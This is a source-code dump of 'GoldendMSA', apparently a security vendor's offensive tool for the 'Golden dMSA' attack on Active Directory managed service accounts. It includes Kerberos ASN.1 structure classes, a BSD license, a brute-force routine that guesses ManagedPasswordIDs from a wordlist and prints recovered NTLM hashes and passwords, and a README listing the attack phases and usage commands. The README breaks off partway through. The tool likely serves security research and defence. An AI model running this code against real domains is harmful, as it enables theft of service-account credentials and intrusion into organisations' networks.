34 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq2 });
35 | AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq });
36 | totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 29, totalSeq2);
37 |
38 | return totalSeq2;
39 | }
40 |
41 | public List ticket_info { get; set; }
42 |
43 | }
44 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/EncryptedPAData.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace GoldendMSA
7 | {
8 | public class EncryptedPAData
9 | {
10 | public EncryptedPAData(AsnElt body)
11 | {
12 | // Get padata-type and padata-value
13 | foreach (AsnElt s in body.Sub[0].Sub)
14 | {
15 | switch (s.TagValue)
16 | {
17 | case 1:
18 | keytype = Convert.ToInt32(s.Sub[0].GetInteger());
19 | break;
20 | case 2:
21 | keyvalue = s.Sub[0].GetOctetString();
22 | break;
23 | default:
24 | break;
25 | }
26 | }
27 |
28 | // Decode the KEY-LIST-REP
29 | if (keytype == (Int32)Interop.PADATA_TYPE.KEY_LIST_REP)
30 | {
31 | AsnElt ae = AsnElt.Decode(keyvalue);
32 | PA_KEY_LIST_REP = new PA_KEY_LIST_REP(ae);
33 | }
34 |
35 | // Decode the DMSA_KEY_PACKAGE
36 | if (keytype == (Int32)Interop.PADATA_TYPE.DMSA_KEY_PACKAGE)
37 | {
38 | AsnElt ae = AsnElt.Decode(keyvalue);
39 | PA_DMSA_KEY_PACKAGE = new PA_DMSA_KEY_PACKAGE(ae);
40 | }
41 | }
42 |
43 | public Int32 keytype { get; set; }
44 |
45 | public byte[] keyvalue { get; set; }
46 |
47 | public PA_KEY_LIST_REP PA_KEY_LIST_REP { get; set; }
48 |
49 | public PA_DMSA_KEY_PACKAGE PA_DMSA_KEY_PACKAGE { get; set; }
50 | }
51 | }
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | This software is distributed by the Semperis Technologies Inc. group of
2 | companies ("Semperis") under the BSD 3‑Clause license.
3 | Portions of the source code are derived from the “Rubeus” project
4 | (https://github.com/GhostPack/Rubeus) © 2018 Will Schroeder and retain their
5 | original copyright notice and license.
6 |
7 | *************************************************************
8 |
9 | Copyright (c) 2025 Semperis
10 | Copyright (c) 2018, Will Schroeder
11 | All rights reserved.
12 |
13 | Redistribution and use in source and binary forms, with or without modification,
14 | are permitted provided that the following conditions are met:
15 |
16 | 1. Redistributions of source code must retain the above copyright notice, this
17 | list of conditions and the following disclaimer.
18 | 2. Redistributions in binary form must reproduce the above copyright notice,
19 | this list of conditions and the following disclaimer in the documentation
20 | and/or other materials provided with the distribution.
21 | 3. Neither the name of Semperis nor the names of its contributors may be
22 | used to endorse or promote products derived from this software without
23 | specific prior written permission.
24 |
25 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND
26 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
27 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
28 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
29 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
30 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
31 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
32 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
33 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
34 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
35 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/EncryptionKey.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace GoldendMSA
7 | {
8 | public class EncryptionKey
9 | {
10 | //EncryptionKey::= SEQUENCE {
11 | // keytype[0] Int32 -- actually encryption type --,
12 | // keyvalue[1] OCTET STRING
13 | //}
14 |
15 | public EncryptionKey()
16 | {
17 | keytype = 0;
18 |
19 | keyvalue = null;
20 | }
21 |
22 | public EncryptionKey(AsnElt body)
23 | {
24 | foreach (AsnElt s in body.Sub[0].Sub)
25 | {
26 | switch (s.TagValue)
27 | {
28 | case 0:
29 | keytype = Convert.ToInt32(s.Sub[0].GetInteger());
30 | break;
31 | case 1:
32 | keyvalue = s.Sub[0].GetOctetString();
33 | break;
34 | case 2:
35 | keyvalue = s.Sub[0].GetOctetString();
36 | break;
37 | default:
38 | break;
39 | }
40 | }
41 | }
42 |
43 | public AsnElt Encode()
44 | {
45 | // keytype[0] Int32 -- actually encryption type --
46 | AsnElt keyTypeElt = AsnElt.MakeInteger(keytype);
47 | AsnElt keyTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { keyTypeElt });
48 | keyTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyTypeSeq);
49 |
50 |
51 | // keyvalue[1] OCTET STRING
52 | AsnElt blob = AsnElt.MakeBlob(keyvalue);
53 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { blob });
54 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, blobSeq);
55 |
56 |
57 | // build the final sequences (s)
58 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { keyTypeSeq, blobSeq });
59 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
60 |
61 | return seq2;
62 | }
63 |
64 | public Int32 keytype { get; set; }
65 |
66 | public byte[] keyvalue { get; set; }
67 | }
68 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/HostAddress.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Text;
5 |
6 | namespace GoldendMSA
7 | {
8 | //Hostname::= SEQUENCE {
9 | // name-type[0] Int32,
10 | // name-string[1] SEQUENCE OF KerberosString
11 | //}
12 |
13 | public class HostAddress
14 | {
15 |
16 | public HostAddress(string hostName)
17 | {
18 | // create with hostname
19 | addr_type = Interop.HostAddressType.ADDRTYPE_NETBIOS;
20 |
21 | // setup padding
22 | Int32 numSpaces = 16 - (hostName.Length % 16);
23 | hostName = hostName.PadRight(hostName.Length + numSpaces);
24 |
25 | addr_string = hostName.ToUpper();
26 | }
27 |
28 |
29 | public HostAddress(AsnElt body)
30 | {
31 | foreach (AsnElt s in body.Sub)
32 | {
33 | switch (s.TagValue)
34 | {
35 | case 0:
36 | addr_type = (Interop.HostAddressType)s.Sub[0].GetInteger();
37 | break;
38 | case 1:
39 | addr_string = Encoding.UTF8.GetString(s.Sub[0].GetOctetString());
40 | break;
41 | default:
42 | break;
43 | }
44 | }
45 | }
46 |
47 | public AsnElt Encode()
48 | {
49 | // addr-type[0] Int32
50 | // addr-string[1] OCTET STRING
51 | AsnElt addrTypeElt = AsnElt.MakeInteger((long)addr_type);
52 | AsnElt addrTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrTypeElt });
53 | addrTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, addrTypeSeq);
54 |
55 | AsnElt addrStringElt = AsnElt.MakeString(AsnElt.TeletexString, addr_string);
56 | addrStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.OCTET_STRING, addrStringElt);
57 | AsnElt addrStringSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrStringElt });
58 | addrStringSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, addrStringSeq);
59 |
60 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { addrTypeSeq, addrStringSeq });
61 |
62 | return seq;
63 | }
64 |
65 | public Interop.HostAddressType addr_type { get; set; }
66 |
67 | public string addr_string { get; set; }
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/EncryptedData.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace GoldendMSA
7 | {
8 | public class EncryptedData
9 | {
10 | //EncryptedData::= SEQUENCE {
11 | // etype[0] Int32 -- EncryptionType --,
12 | // kvno[1] UInt32 OPTIONAL,
13 | // cipher[2] OCTET STRING -- ciphertext
14 | //}
15 |
16 |
17 | public EncryptedData(Int32 encType, byte[] data)
18 | {
19 | etype = encType;
20 | cipher = data;
21 | }
22 |
23 | public EncryptedData(AsnElt body)
24 | {
25 | foreach (AsnElt s in body.Sub)
26 | {
27 | switch (s.TagValue)
28 | {
29 | case 0:
30 | etype = Convert.ToInt32(s.Sub[0].GetInteger());
31 | break;
32 | case 1:
33 | long tmpLong = s.Sub[0].GetInteger();
34 | kvno = Convert.ToUInt32(tmpLong & 0x00000000ffffffff);
35 | break;
36 | case 2:
37 | cipher = s.Sub[0].GetOctetString();
38 | break;
39 | default:
40 | break;
41 | }
42 | }
43 | }
44 |
45 | public AsnElt Encode()
46 | {
47 | // etype [0] Int32 -- EncryptionType --,
48 | AsnElt etypeAsn = AsnElt.MakeInteger(etype);
49 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
50 | etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
51 |
52 |
53 | // cipher [2] OCTET STRING -- ciphertext
54 | AsnElt cipherAsn = AsnElt.MakeBlob(cipher);
55 | AsnElt cipherSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cipherAsn });
56 | cipherSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, cipherSeq);
57 |
58 |
59 | if (kvno != 0)
60 | {
61 | // kvno [1] UInt32 OPTIONAL
62 | AsnElt kvnoAsn = AsnElt.MakeInteger(kvno);
63 | AsnElt kvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { kvnoAsn });
64 | kvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, kvnoSeq);
65 |
66 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, kvnoSeq, cipherSeq });
67 | return totalSeq;
68 | }
69 | else
70 | {
71 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, cipherSeq });
72 | return totalSeq;
73 | }
74 | }
75 |
76 | public Int32 etype { get; set; }
77 |
78 | public UInt32 kvno { get; set; }
79 |
80 | public byte[] cipher { get; set; }
81 | }
82 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/AS_REP.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Text;
5 |
6 | namespace GoldendMSA
7 | {
8 | public class AS_REP
9 | {
10 |
11 |
12 |
13 | public AS_REP(AsnElt asn_AS_REP)
14 | {
15 | this.Decode(asn_AS_REP);
16 | }
17 |
18 | private void Decode(AsnElt asn_AS_REP)
19 | {
20 | // AS-REP::= [APPLICATION 11] KDC-REQ
21 | if (asn_AS_REP.TagValue != (int)Interop.KERB_MESSAGE_TYPE.AS_REP)
22 | {
23 | throw new System.Exception("AS-REP tag value should be 11");
24 | }
25 |
26 | if ((asn_AS_REP.Sub.Length != 1) || (asn_AS_REP.Sub[0].TagValue != 16))
27 | {
28 | throw new System.Exception("First AS-REP sub should be a sequence");
29 | }
30 |
31 | // extract the KDC-REP out
32 | AsnElt[] kdc_rep = asn_AS_REP.Sub[0].Sub;
33 | padata = new List();
34 |
35 | foreach (AsnElt s in kdc_rep)
36 | {
37 | switch (s.TagValue)
38 | {
39 | case 0:
40 | pvno = s.Sub[0].GetInteger();
41 | break;
42 | case 1:
43 | msg_type = s.Sub[0].GetInteger();
44 | break;
45 | case 2:
46 | // sequence of pa-data
47 | int i;
48 | for (i = 0; i < s.Sub[0].Sub.Length; i++)
49 | {
50 | padata.Add(new PA_DATA(s.Sub[0].Sub[i]));
51 | }
52 | break;
53 | case 3:
54 | crealm = Encoding.UTF8.GetString(s.Sub[0].GetOctetString());
55 | break;
56 | case 4:
57 | cname = new PrincipalName(s.Sub[0]);
58 | break;
59 | case 5:
60 | ticket = new Ticket(s.Sub[0].Sub[0]);
61 | break;
62 | case 6:
63 | enc_part = new EncryptedData(s.Sub[0]);
64 | break;
65 | default:
66 | break;
67 | }
68 | }
69 | }
70 |
71 | // won't really every need to *create* a AS reply, so no encode
72 |
73 | public long pvno { get; set; }
74 |
75 | public long msg_type { get; set; }
76 |
77 | public List padata { get; set; }
78 |
79 | public string crealm { get; set; }
80 |
81 | public PrincipalName cname { get; set; }
82 |
83 | public Ticket ticket { get; set; }
84 |
85 | public EncryptedData enc_part { get; set; }
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/GoldendMSA/MsdsManagedPasswordld.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Security.Principal;
3 |
4 | namespace GoldendMSA
5 | {
6 | public class MsdsManagedPasswordId
7 | {
8 | public byte[] MsdsManagedPasswordIdBytes { get; private set; }
9 |
10 | public int Version { get; set; }
11 | public int Reserved { get; set; }
12 | public int isPublicKey { get; set; }
13 | public int L0Index { get; set; }
14 | public int L1Index { get; set; }
15 | public int L2Index { get; set; }
16 | public Guid RootKeyIdentifier { get; set; }
17 | public int cbUnknown { get; set; }
18 | public int cbDomainName { get; set; }
19 | public int cbForestName { get; set; }
20 | public byte[] Unknown { get; set; }
21 | public string DomainName { get; set; }
22 | public string ForestName { get; set; }
23 |
24 | public MsdsManagedPasswordId(byte[] pwdBlob)
25 | {
26 | MsdsManagedPasswordIdBytes = pwdBlob;
27 |
28 | Version = BitConverter.ToInt32(pwdBlob, 0);
29 | Reserved = BitConverter.ToInt32(pwdBlob, 4);
30 | isPublicKey = BitConverter.ToInt32(pwdBlob, 8);
31 | L0Index = BitConverter.ToInt32(pwdBlob, 12);
32 | L1Index = BitConverter.ToInt32(pwdBlob, 16);
33 | L2Index = BitConverter.ToInt32(pwdBlob, 20);
34 | byte[] temp = new byte[16];
35 | Array.Copy(pwdBlob, 24, temp, 0, 16);
36 | RootKeyIdentifier = new Guid(temp);
37 | cbUnknown = BitConverter.ToInt32(pwdBlob, 40);
38 | cbDomainName = BitConverter.ToInt32(pwdBlob, 44);
39 | cbForestName = BitConverter.ToInt32(pwdBlob, 48);
40 | if (cbUnknown > 0)
41 | {
42 | Unknown = new byte[cbUnknown];
43 | Array.Copy(pwdBlob, 52, Unknown, 0, cbUnknown);
44 | }
45 | else
46 | {
47 | Unknown = null;
48 | }
49 | DomainName = System.Text.Encoding.Unicode.GetString(pwdBlob, 52 + cbUnknown, cbDomainName);
50 | ForestName = System.Text.Encoding.Unicode.GetString(pwdBlob, 52 + cbDomainName + cbUnknown, cbForestName);
51 | }
52 |
53 |
54 | public static MsdsManagedPasswordId GetManagedPasswordIDBySid(string domainName, SecurityIdentifier sid)
55 | {
56 | string[] attributes = { "msds-ManagedPasswordID" };
57 | string ldapFilter = $"(objectSID={sid})";
58 |
59 | var results = LdapUtils.FindInDomain(domainName, ldapFilter, attributes);
60 |
61 | if (results == null || results.Count == 0)
62 | return null;
63 |
64 | if (!results[0].Properties.Contains("msds-ManagedPasswordID"))
65 | return null;
66 |
67 | var pwdIdBlob = (byte[])results[0].Properties["msds-ManagedPasswordID"][0];
68 |
69 | return new MsdsManagedPasswordId(pwdIdBlob);
70 | }
71 | }
72 | }
--------------------------------------------------------------------------------
/GoldendMSA/BruteForceDMSA.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Security.Principal;
4 |
5 | namespace GoldendMSA
6 | {
7 | public class BruteForceDMSA
8 | {
9 | public static void BruteForce(SecurityIdentifier sid, String Base64KDS, String fileName, String username, String DomainName, bool ptt=false, bool verbose=false) {
10 | (string dcFqdn, string dcIp) = LdapUtils.GetDomainControllerInfoAlt(DomainName);
11 | if (!String.IsNullOrEmpty(dcIp))
12 | {
13 | BruteForceByFile(sid, Base64KDS, fileName, username, dcIp, DomainName, ptt,verbose);
14 | }
15 | else
16 | {
17 | Console.WriteLine("Faced issues when trying to resolve the DC's IP.");
18 | }
19 | }
20 | public static void BruteForceByFile(SecurityIdentifier sid, String Base64KDS, String fileName, String username, String DCIp, String DomainName, bool ptt, bool verbose)
21 | {
22 | try
23 | {
24 | string[] lines = File.ReadAllLines(fileName);
25 |
26 | for (int i = 0; i < lines.Length; i++)
27 | {
28 | lines[i] = lines[i].Trim();
29 | }
30 |
31 | for (int i = 0; i < lines.Length; i++)
32 | {
33 | string line = lines[i];
34 |
35 | if (string.IsNullOrEmpty(line))
36 | continue;
37 |
38 | line = line.Trim();
39 | Base64KDS = Base64KDS.Trim();
40 | string managedPasswordID = Program.ProcessComputePwdOptions(sid, Base64KDS, line, null, null, false);
41 | byte[] decodedData = Convert.FromBase64String(managedPasswordID);
42 | string ntlmHash = Helpers.ConvertBase64ToNTLM(managedPasswordID);
43 | if (verbose)
44 | {
45 | Console.WriteLine("Action: Ask TGT (attempt #" + i + ") for " + DomainName + "\\" + username);
46 | }
47 | if(Helpers.base64ToAES(username, DomainName, managedPasswordID, true, ptt, verbose) == 1)
48 | {
49 | Console.WriteLine($"NTLM Hash:\t{ntlmHash}");
50 | Console.WriteLine();
51 | Console.WriteLine("ManagedPassword-ID:\t" + line);
52 | Console.WriteLine();
53 | Console.WriteLine("Base64 Encoded Password:\t" + managedPasswordID);
54 | Console.WriteLine();
55 | break;
56 |
57 | }
58 | }
59 | }
60 | catch (Exception ex)
61 | {
62 | if (verbose)
63 | {
64 | Console.WriteLine($"Error: {ex.Message}");
65 | }
66 | }
67 | }
68 |
69 |
70 | }
71 |
72 |
73 |
74 | }
75 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/Ticket.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace GoldendMSA
7 | {
8 | public class Ticket
9 | {
10 | //Ticket::= [APPLICATION 1] SEQUENCE {
11 | // tkt-vno[0] INTEGER(5),
12 | // realm[1] Realm,
13 | // sname[2] PrincipalName,
14 | // enc-part[3] EncryptedData -- EncTicketPart
15 | //}
16 |
17 |
18 | public Ticket(AsnElt body)
19 | {
20 | foreach (AsnElt s in body.Sub)
21 | {
22 | switch (s.TagValue)
23 | {
24 | case 0:
25 | tkt_vno = Convert.ToInt32(s.Sub[0].GetInteger());
26 | break;
27 | case 1:
28 | realm = Encoding.UTF8.GetString(s.Sub[0].GetOctetString());
29 | break;
30 | case 2:
31 | sname = new PrincipalName(s.Sub[0]);
32 | break;
33 | case 3:
34 | enc_part = new EncryptedData(s.Sub[0]);
35 | break;
36 | default:
37 | break;
38 | }
39 | }
40 | }
41 |
42 | public AsnElt Encode()
43 | {
44 | // tkt-vno [0] INTEGER (5)
45 | AsnElt tkt_vnoAsn = AsnElt.MakeInteger(tkt_vno);
46 | AsnElt tkt_vnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { tkt_vnoAsn });
47 | tkt_vnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, tkt_vnoSeq);
48 |
49 |
50 | // realm [1] Realm
51 | AsnElt realmAsn = AsnElt.MakeString(AsnElt.UTF8String, realm);
52 | realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
53 | AsnElt realmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, realmAsn);
54 | realmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmAsnSeq);
55 |
56 |
57 | // sname [2] PrincipalName
58 | AsnElt snameAsn = sname.Encode();
59 | snameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameAsn);
60 |
61 |
62 | // enc-part [3] EncryptedData -- EncTicketPart
63 | AsnElt enc_partAsn = enc_part.Encode();
64 | AsnElt enc_partSeq = AsnElt.Make(AsnElt.SEQUENCE, enc_partAsn);
65 | enc_partSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, enc_partSeq);
66 |
67 |
68 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tkt_vnoSeq, realmAsnSeq, snameAsn, enc_partSeq });
69 | AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq });
70 | totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 1, totalSeq2);
71 |
72 | return totalSeq2;
73 | }
74 |
75 |
76 |
77 |
78 | public int tkt_vno { get; set; }
79 |
80 | public string realm { get; set; }
81 |
82 | public PrincipalName sname { get; set; }
83 |
84 | public EncryptedData enc_part { get; set; }
85 | }
86 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KRB_CRED.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Collections.Generic;
4 |
5 | namespace GoldendMSA
6 | {
7 | public class KRB_CRED
8 | {
9 | //KRB-CRED::= [APPLICATION 22] SEQUENCE {
10 | // pvno[0] INTEGER(5),
11 | // msg-type[1] INTEGER(22),
12 | // tickets[2] SEQUENCE OF Ticket,
13 | // enc-part[3] EncryptedData -- EncKrbCredPart
14 | //}
15 |
16 | public KRB_CRED()
17 | {
18 | // defaults for creation
19 | pvno = 5;
20 | msg_type = 22;
21 |
22 | tickets = new List();
23 |
24 | enc_part = new EncKrbCredPart();
25 | }
26 |
27 | public AsnElt Encode()
28 | {
29 | // pvno [0] INTEGER (5)
30 | AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
31 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn });
32 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
33 |
34 |
35 | // msg-type [1] INTEGER (22)
36 | AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type);
37 | AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn });
38 | msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
39 |
40 |
41 | // tickets [2] SEQUENCE OF Ticket
42 | // TODO: encode/handle multiple tickets!
43 | AsnElt ticketAsn = tickets[0].Encode();
44 | AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn });
45 | AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq });
46 | ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ticketSeq2);
47 |
48 |
49 | // enc-part [3] EncryptedData -- EncKrbCredPart
50 | AsnElt enc_partAsn = enc_part.Encode();
51 | AsnElt blob = AsnElt.MakeBlob(enc_partAsn.Encode());
52 |
53 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
54 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
55 |
56 | // etype == 0 -> no encryption
57 | AsnElt etypeAsn = AsnElt.MakeInteger(0);
58 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
59 | etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
60 |
61 | AsnElt infoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq });
62 | AsnElt infoSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { infoSeq });
63 | infoSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, infoSeq2);
64 |
65 |
66 | // all the components
67 | AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 });
68 |
69 | // tag the final total ([APPLICATION 22])
70 | AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total });
71 | final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final);
72 |
73 | return final;
74 | }
75 |
76 | public long pvno { get; set; }
77 |
78 | public long msg_type { get; set; }
79 |
80 | //public Ticket[] tickets { get; set; }
81 | public List tickets { get; set; }
82 |
83 | public EncKrbCredPart enc_part { get; set; }
84 |
85 | public byte[] RawBytes { get; set; }
86 | }
87 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/PrincipalName.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Text;
5 |
6 | namespace GoldendMSA
7 | {
8 | //PrincipalName::= SEQUENCE {
9 | // name-type[0] Int32,
10 | // name-string[1] SEQUENCE OF KerberosString
11 | //}
12 |
13 | public class PrincipalName
14 | {
15 | public PrincipalName()
16 | {
17 | /*
18 | Name Type Value Meaning
19 |
20 | NT-UNKNOWN 0 Name type not known
21 | NT-PRINCIPAL 1 Just the name of the principal as in DCE,
22 | or for users
23 | NT-SRV-INST 2 Service and other unique instance (krbtgt)
24 | NT-SRV-HST 3 Service with host name as instance
25 | (telnet, rcommands)
26 | NT-SRV-XHST 4 Service with host as remaining components
27 | NT-UID 5 Unique ID
28 | NT-X500-PRINCIPAL 6 Encoded X.509 Distinguished name [RFC2253]
29 | NT-SMTP-NAME 7 Name in form of SMTP email name
30 | (e.g., user@example.com)
31 | NT-ENTERPRISE 10 Enterprise name - may be mapped to principal
32 | name
33 | */
34 |
35 | name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL;
36 |
37 | name_string = new List();
38 | }
39 |
40 |
41 | public PrincipalName(AsnElt body)
42 | {
43 | // KRB_NT_PRINCIPAL = 1
44 | // means just the name of the principal
45 | // KRB_NT_SRV_INST = 2
46 | // service and other unique instance (krbtgt)
47 |
48 | name_type = (Interop.PRINCIPAL_TYPE)body.Sub[0].Sub[0].GetInteger();
49 |
50 | int numberOfNames = body.Sub[1].Sub[0].Sub.Length;
51 |
52 | name_string = new List();
53 |
54 | for (int i = 0; i < numberOfNames; i++)
55 | {
56 | name_string.Add(Encoding.UTF8.GetString(body.Sub[1].Sub[0].Sub[i].GetOctetString()));
57 | }
58 | }
59 |
60 | public AsnElt Encode()
61 | {
62 | // name-type[0] Int32
63 | AsnElt nameTypeElt = AsnElt.MakeInteger((long)name_type);
64 | AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeElt });
65 | nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nameTypeSeq);
66 |
67 |
68 | // name-string[1] SEQUENCE OF KerberosString
69 | // add in the name string sequence (one or more)
70 | AsnElt[] strings = new AsnElt[name_string.Count];
71 |
72 | for (int i = 0; i < name_string.Count; ++i)
73 | {
74 | string name = name_string[i];
75 | AsnElt nameStringElt = AsnElt.MakeString(AsnElt.UTF8String, name);
76 | nameStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, nameStringElt);
77 | strings[i] = nameStringElt;
78 | }
79 |
80 | AsnElt stringSeq = AsnElt.Make(AsnElt.SEQUENCE, strings);
81 | AsnElt stringSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { stringSeq } );
82 | stringSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, stringSeq2);
83 |
84 |
85 | // build the final sequences
86 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nameTypeSeq, stringSeq2 });
87 |
88 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
89 |
90 | return seq2;
91 | }
92 |
93 | public Interop.PRINCIPAL_TYPE name_type { get; set; }
94 |
95 | public List name_string { get; set; }
96 | }
97 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Golden dMSA
2 |
3 | This tool exploits a new attack against delegated Managed Service Accounts called the "Golden DMSA" attack. The technique allows attackers to generate passwords for all associated dMSAs offline.
4 |
5 | Additional information is available in this post [golden dMSA](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/).
6 |
7 |
8 | ## Attack steps
9 | Phase 1: Key Material Extraction (pre requirement of the attack)
10 |
11 | * Dump the KDS Root Key from the DC
12 |
13 | Phase 2: Enumerate dMSA accounts
14 |
15 | * Brute-force or use LDAP to discover data on dMSA accounts in the forest - SamAccountName and SID.
16 |
17 | Phase 3: ManagedPasswordID guessing
18 |
19 | * Create a wordlist of possible values and identify the correct managedPasswordId and password hashes through targeted guessing.
20 |
21 | Phase 4: Password Generation
22 |
23 | * Generate valid passwords for any gMSA and dMSA associated with the compromised key.
24 |
25 | ## Build
26 |
27 | * Compile the tool with platform target of x64.
28 | * Tool was tested against target Framework of .NET Framework 4.7.2.
29 | * When copying the tool's executable to the remote machine, please make sure to also copy the CommandLine.dll that is located in GoldendMSA folder.
30 |
31 | ## Usage
32 |
33 | Couple examples of useful commands:
34 |
35 | Computation of gMSA's passwords based on KDS Root key and ManadgedPasswordID:
36 | ```
37 | $ GoldendMSA.exe compute -s -k -d -m
38 | ```
39 |
40 | Converts a base64 password of dMSA/ gMSA to NTLM, AES128, AES256:
